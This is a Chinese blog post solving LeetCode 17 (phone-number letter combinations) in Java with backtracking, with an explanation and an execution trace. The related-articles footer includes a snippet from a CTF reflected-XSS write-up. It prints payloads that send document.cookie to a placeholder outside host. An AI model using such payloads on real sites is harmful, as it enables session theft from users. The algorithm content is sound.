leetcode hot100【LeetCode 17.电话号码的字母组合】java实现

LeetCode 17.电话号码的字母组合

题目描述

给定一个仅包含数字 2-9 的字符串,返回所有它能表示的字母组合。可以按任何顺序返回答案。

说明:

  • 给定数字 2-9,每个数字对应的字母集合如下:
    • 2 -> “abc”
    • 3 -> “def”
    • 4 -> “ghi”
    • 5 -> “jkl”
    • 6 -> “mno”
    • 7 -> “pqrs”
    • 8 -> “tuv”
    • 9 -> “wxyz”

示例 1:

输入: "23"
输出: ["ad", "ae", "af", "bd", "be", "bf", "cd", "ce", "cf"]

示例 2:

输入: ""
输出: []

Java 实现解法

import java.util.ArrayList;
import java.util.List;

public class Solution {
    private static final String[] MAPPING = {
        "", "", "abc", "def", "ghi", "jkl", "mno", "pqrs", "tuv", "wxyz"
    };

    public List<String> letterCombinations(String digits) {
        List<String> result = new ArrayList<>();
        if (digits == null || digits.length() == 0) {
            return result;
        }
        backtrack(result, new StringBuilder(), digits, 0);
        return result;
    }

    private void backtrack(List<String> result, StringBuilder current, String digits, int index) {
        // 如果当前字符串长度等于 digits 长度,说明找到一个完整的组合
        if (current.length() == digits.length()) {
            result.add(current.toString());
            return;
        }

        // 获取当前数字对应的字母集合
        String letters = MAPPING[digits.charAt(index) - '0'];
        for (char letter : letters.toCharArray()) {
            current.append(letter);  // 选择当前字母
            backtrack(result, current, digits, index + 1);  // 递归处理下一个数字
            current.deleteCharAt(current.length() - 1);  // 回溯,移除当前字母
        }
    }
}

解题思路

  1. 问题分析

    • 每个数字都对应着一定的字母集合,问题就是要找到所有这些字母组合的排列。
    • 我们可以通过回溯来解决这个问题。每当处理一个数字时,我们从它对应的字母集合中选择一个字母,然后继续处理下一个数字。
    • 当处理完所有数字时,就找到了一个完整的字母组合。
  2. 回溯法

    • 递归:我们从字符串的第一个数字开始,递归地选择每个数字的字母,直到所有数字都被处理完。每一次递归,我们将当前选中的字母加入到当前的组合中。
    • 回溯:在递归回到上一层时,我们撤销上一步选择的字母,继续尝试其他可能的字母组合。
  3. 实现步骤

    • 定义一个映射数组 MAPPING,表示每个数字对应的字母集合。
    • 使用回溯法逐步构建所有的字母组合,直到遍历完所有数字。
    • 如果字符串为空,直接返回一个空的结果列表。

复杂度分析

  • 时间复杂度O(3^m×4^n),其中m是输入中对应3个字母的数字个数(包括数字 2、3、4、5、6、8),n是输入中对应4个字母的数字个数(包括数字
    7、9),m+n是输入数字的总个数。当输入包含m个对应3个字母的数字和n个对应4个字母的数字时,不同的字母组合一共有3^m×4^n种,需要遍历每一种字母组合。

  • 空间复杂度::O(m+n),其中 m 是输入中对应3个字母的数字个数,n 是输入中对应4个字母的数字个数,m+n是输入数字的总个数。递归调用层数最大为 m+n`

输入示例

digits = "23"

回溯算法执行过程

初始化
  • 映射数组: MAPPING = ["", "", "abc", "def", "ghi", "jkl", "mno", "pqrs", "tuv", "wxyz"] 对应:

    • 2 -> “abc”
    • 3 -> “def”
  • 递归函数 backtrack(result, current, digits, index)

    • result:存储所有生成的字母组合
    • current:当前的字母组合(StringBuilder
    • digits:输入的数字字符串
    • index:当前正在处理的数字的索引
第一次递归(index = 0,处理数字 ‘2’)
  • 当前 digits 是 “23”,从 index = 0 开始。
  • MAPPING[2] = "abc",所以我们从 'a', 'b', 'c' 中选择。
选择 ‘a’:
  • 当前组合 current = "a",递归到下一层,处理 index = 1(即数字 ‘3’)。
第二次递归(index = 1,处理数字 ‘3’)
  • 当前数字是 ‘3’,MAPPING[3] = "def",所以我们从 'd', 'e', 'f' 中选择。
选择 ‘d’:
  • 当前组合 current = "ad",递归到下一层,处理完所有数字(index = 2,超过了 digits 的长度)。

  • 添加 "ad" 到结果集 result = ["ad"]

选择 ‘e’:
  • 当前组合 current = "ae",递归到下一层,处理完所有数字。

  • 添加 "ae" 到结果集 result = ["ad", "ae"]

选择 ‘f’:
  • 当前组合 current = "af",递归到下一层,处理完所有数字。

  • 添加 "af" 到结果集 result = ["ad", "ae", "af"]

  • 回溯到上一层,撤销选择 ‘f’,恢复 current = "a"

回到第一次递归,选择 ‘b’(index = 0)
  • 当前组合 current = "b",递归到下一层,处理数字 ‘3’(即 index = 1)。
第二次递归(index = 1,处理数字 ‘3’)
  • MAPPING[3] = "def",从 'd', 'e', 'f' 中选择。
选择 ‘d’:
  • 当前组合 current = "bd",递归到下一层,处理完所有数字。

  • 添加 "bd" 到结果集 result = ["ad", "ae", "af", "bd"]

选择 ‘e’:
  • 当前组合 current = "be",递归到下一层,处理完所有数字。

  • 添加 "be" 到结果集 result = ["ad", "ae", "af", "bd", "be"]

选择 ‘f’:
  • 当前组合 current = "bf",递归到下一层,处理完所有数字。

  • 添加 "bf" 到结果集 result = ["ad", "ae", "af", "bd", "be", "bf"]

  • 回溯到上一层,撤销选择 ‘f’,恢复 current = "b"

回到第一次递归,选择 ‘c’(index = 0)
  • 当前组合 current = "c",递归到下一层,处理数字 ‘3’(即 index = 1)。
第二次递归(index = 1,处理数字 ‘3’)
  • MAPPING[3] = "def",从 'd', 'e', 'f' 中选择。
选择 ‘d’:
  • 当前组合 current = "cd",递归到下一层,处理完所有数字。

  • 添加 "cd" 到结果集 result = ["ad", "ae", "af", "bd", "be", "bf", "cd"]

选择 ‘e’:
  • 当前组合 current = "ce",递归到下一层,处理完所有数字。

  • 添加 "ce" 到结果集 result = ["ad", "ae", "af", "bd", "be", "bf", "cd", "ce"]

选择 ‘f’:
  • 当前组合 current = "cf",递归到下一层,处理完所有数字。

  • 添加 "cf" 到结果集 result = ["ad", "ae", "af", "bd", "be", "bf", "cd", "ce", "cf"]

  • 回溯到上一层,撤销选择 ‘f’,恢复 current = "c"

最终结果

回溯到最顶层,所有递归结束,最终生成的所有字母组合为:

["ad", "ae", "af", "bd", "be", "bf", "cd", "ce", "cf"]

总结

  • 通过回溯算法,我们从每个数字开始,逐步选择它对应的字母,然后递归生成所有的字母组合。
  • 每次递归结束后,我们通过回溯撤销之前的选择,继续探索其他可能的组合。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/911511.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vscode ssh连接autodl失败

autodl服务器已开启&#xff0c;vscode弹窗显示连接失败 0. 检查状态 这里的端口和主机根据自己的连接更改 ssh -p 52165 rootregion-45.autodl.pro1. 修改config权限 按返回的路径找到config文件 右键--属性--安全--高级--禁用继承--从此对象中删除所有已继承的权限--添加…

阿里云-部署CNI flannel集群网络

环境 1.一台阿里云作为k8s-master:8.130.XXX.231&#xff08;阿里云私有IP&#xff09; 2.Vmware 两个虚拟机分别作为 k8s-node1:192.168.40.131 k8s-node2:192.168.40.131 3.安装Docker 部署过程 k8s-master,k8s-node1,k8s-node2 初始操作 # 关闭防火墙 systemctl stop fi…

CentOS 7 软件/程序安装示例

安装软件/程序 wget&#xff0c;前提需要用 root 用户 1、搜索软件/程序 yum search wget 搜索到软件/程序。 2、安装软件/程序 yum -y install wget 安装完成。 ---------------------------------------------------------------------------------------------------…

[HCTF 2018]WarmUp 1--详细解析

打开靶机&#xff0c;进入界面&#xff1a; 信息搜集 当前界面没有任何有用信息。 想到查看页面源代码。右键–查看页面源代码 看到hint&#xff1a;<!--source.php--> 进入/source.php页面&#xff0c;看到页面源代码&#xff1a; <?phphighlight_file(__FILE_…

Python的函数

一、定义 函数的定义&#xff1a;实现【特定功能】的代码块。 形参&#xff1a;函数定义时的参数&#xff0c;没有实际意义 实参&#xff1a;函数调用/使用时的参数&#xff0c;有实际意义 函数的作用&#xff1a; 简化代码提高代码重用性便于维护和修改提高代码的可扩展性…

ctfshow(319->326)--XSS漏洞--反射型XSS

Web319 思路 先测试过滤&#xff0c;发现过滤了script、img&#xff0c;没有过滤body&#xff0c;svg payload: <body onload"location.hrefhttp://xx.xx.xx.xx/flag.php?cookiedocument.cookie"/><svg onload"location.hrefhttp://xx.xx.xx.xx/fla…

MySQL server 免安装教程

1&#xff0c;下载免安装包-社区版本 https://dev.mysql.com/downloads/file/?id534320 2&#xff0c;解压 放到一电脑某个路径下&#xff0c;整个包 3&#xff0c;创建data 文件夹和my.ini文件 my.ini代码照抄&#xff0c;注意修改路径&#xff0c;与解压后的安装包地址一…

使用ookii-dialogs-wpf在WPF选择文件夹时能输入路径

在进行WPF开发时&#xff0c;System.Windows.Forms.FolderBrowserDialog的选择文件夹功能不支持输入路径&#xff1a; 希望能够获得下图所示的选择文件夹功能&#xff1a; 于是&#xff0c;通过NuGet中安装Ookii.Dialogs.Wpf包&#xff0c;并创建一个简单的工具类&#xff1a; …

Java项目实战II基于Spring Boot的便利店信息管理系统(开发文档+数据库+源码)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 在快节奏的…

SpringBoot整合Liquibase对数据库管理和迁移

简介 Liquibase是一个用于用于跟踪、管理和应用数据库变化的开源工具&#xff0c;通过日志文件(changelog)的形式记录数据库的变更(changeset)&#xff0c;然后执行日志文件中的修改&#xff0c;将数据库更新或回滚(rollback)到一致的状态。它的目标是提供一种数据库类型无关的…

练习LabVIEW第四十三题

学习目标&#xff1a; 模拟红绿灯&#xff0c;红灯亮十秒&#xff0c;绿灯亮五秒&#xff0c;交替&#xff0c;并用波形图将波形显示 开始编写&#xff1a; 前面板 两个指示灯&#xff0c;一个红色&#xff0c;一个绿色&#xff0c;一个波形图&#xff1b; 程序框图 创建…

针对解决前后端BUG的个人笔记

1-IDEA Q&#xff1a;Required Java version 17 is not supported by SDK 1.8. The maximum supported Java version is 8. A: 我们只知道IDEA页面创建Spring项目&#xff0c;其实是访问spring initializr去创建项目。故我们可以通过阿里云国服去间接创建Spring项目。将https…

ElasticSearch 添加IK分词器

ElasticSearch 添加IK分词器 前言一、IK分词器的算法二、Ik分词器的下载安装&#xff08;Winows 版本&#xff09;三、Ik分词器的下载安装&#xff08;Linux 版本&#xff09;四、验证测试&#xff08;postman工具&#xff09;测试 ik_smart 分词算法测试 ik_max_word 分词算法…

Android关机流程知多少?

在 Android 中&#xff0c;关机流程涉及系统各个组件的协同工作&#xff0c;确保设备在断电之前能够安全地关闭所有活动并保存数据。以下是 Android 系统中关机流程的详细介绍&#xff1a; 1. 用户触发关机请求 关机流程由用户的操作触发&#xff0c;通常有以下几种方式&#…

Golang | Leetcode Golang题解之第542题01矩阵

题目&#xff1a; 题解&#xff1a; type point struct{x, y int }var dirs []point{{-1, 0}, {1, 0}, {0, -1}, {0, 1}}func updateMatrix(mat [][]int) [][]int {var m, n len(mat), len(mat[0])var res make([][]int, m)var visited make([][]bool, m)var queue []poin…

基于ssm的小区物业管理系统

项目描述 临近学期结束&#xff0c;还是毕业设计&#xff0c;你还在做java程序网络编程&#xff0c;期末作业&#xff0c;老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。这里根据疫情当下&#xff0c;你想解决的问…

_处理匿名命名空间里的变量时进入硬件中断错误

最近在初次使用匿名空间时出现一个很离谱的错误&#xff0c;我先简单描述一下情形&#xff1a;在匿名命名空间里有一个变量&#xff08;全局&#xff09;&#xff0c;在命名空间外&#xff0c;有一个内联函数操作该空间内的变量。 如果开优化&#xff0c;那么程序就会进入硬件错…

esp32学习:利用虫洞ESP32开发板,快速实现无线图传

我们的虫洞开发板&#xff0c;能够完美运行esp who AI代码&#xff0c;所以实现无线图传那是非常容易的&#xff0c;我们先看看examples目录&#xff1a; 里面有比较多的web例程&#xff0c;在这些例程下&#xff0c;稍作修改&#xff0c;就可以快速实现我的图传无线功能&#…

芯片需要按一下keyup或者复位按键虚拟或者下载之后芯片能下载却运行不了或者需要额外供电。

这些问题很有可能是因为外围电路器件幅值与设计不同的存在&#xff0c;导致你需要外部供电才能实现一个正常运行&#xff0c;可以检查一下外围电路在供电区域的电流区&#xff0c;电阻幅值是否和原理图设计时看的一模一样或者直接更换 因为按键会失灵&#xff0c;首先检查复位按…

万字长文读懂RAG

目录 RAG的整体架构设计 一、概览 1-Overview 2-Indexing 3-Retrival 4-Generation 二、优化元素提问 5-Multi Query多查询策略 6-RAG-Fusion多查询结果融合策略 7-Decomposition问题分解策略 Answer recursively Answer individually 8-Step Back问答回退策略 9…